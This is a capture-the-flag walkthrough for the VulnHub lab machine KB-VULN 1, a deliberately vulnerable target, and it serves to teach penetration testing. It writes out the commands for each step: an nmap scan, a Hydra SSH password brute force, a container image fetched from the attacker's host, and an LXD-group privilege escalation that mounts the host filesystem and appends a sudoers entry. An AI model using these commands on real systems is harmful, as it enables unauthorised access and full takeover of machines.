VulnHub: KB-VULN 1 Walkthrough

Machine details

• Title: KB-VULN: 1
• Author: MachineBoy
• Difficulty: Easy
• Flags: 2(user and root)
• Series: KB-VULN
• Techniques: Enumeration, docker
• Operating System: Linux

Recon and Enumeration

As always, let’s do a nmap scan to find ports and services running

IP=<MACHINE IP>
nmap -p- -sVC -Pn $IP

We can get some great info from nmap:

First, the ftp port is running. Also, we can log-in as anonymous (which is what we’ll do next)

Lastly, the server has a web port and ssh running. We should check these after the ftp.

Logging in as anonymous, we can note something weird: it has no files. Rather, it has hidden ones

The .bash_history file is stored commonly in the users files, it’s like an history commands we did use before. Let’s read it

it seems the user has edited a file named 00-header, we should take notes of this. One thing that I tried is to upload files, which unfortunately we don’t have

The web page at port 80 is some kind of school website

Checking the web page source, there is a comment

Username: sysadmin

Using gobuster to find directories and files, nothing relevant at the moment

As we got sysadmin as the user, let’s try to bruteforce it using hydra

hydra -l sysadmin -P /usr/share/wordlists/rockyou.txt ssh://192.168.56.149

We can log-in as sysadmin and get the user flag!

Privilege Escalation

Get Antonio’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

Remember the file the user edited at /etc/ directory? It exists!

Three things we can take notes of this file:

One, this file has permission for all users, meaning we can edit it

Second, who created this file is root. Maybe this is a cronjob or something we can use later

Third, we can get the name of the server: KB-SERVER

Using id for sysadmin, the user is in the admin group, also we are in lxd group which means we can use lxd as a privilege escalation

First you need to download alpine in github in your kali machine

git clone https://github.com/saghul/lxd-alpine-builder
cd lxd-alpine-builder
sudo ./build-alpine
$ls
alpine-v3.24-x86_64-20260622_2231.tar.gz

This .tar.gz file we will send to the kb-server machine. let’s setup a web-server with python3!

python3 -m http.server 8080

In the KB-Server

sysadmin@kb-server:~$ wget  http://192.168.56.101:8080/alpine-v3.24-x86_64-20260622_2231.tar.gz

After that, we will do these commands, one by one

lxd init

For this case, it will appear a screen asking a lot of questions. In our case, just hit enter to set default values

lxc image import ./alpine-v3.24-x86_64-20260622_2231.tar.gz --alias privesc
lxc init privesc privesc-container -c security.privileged=true
lxc config device add privesc-container mydev disk source=/ path=/mnt/root recursive=true
lxc start privesc-container
lxc exec privesc-container /bin/sh

After all these commands, we’re gonna get root in the sh

REMEMBER, we are inside a container. But that doesn’t mean we cannot make changes in the target machine!

The target machine machine is at /mnt/root

cd /mnt/root

Now at the /mnt/root we can get the root flag!

But what if we wanted to get privilges like root in the machine using sysadmin’s account? We can modify the sudoers file!

cd /mnt/root/etc/
echo 'sysadmin ALL=(ALL:ALL) ALL' >> sudoers

Let’s exit the container and go to sysadmin account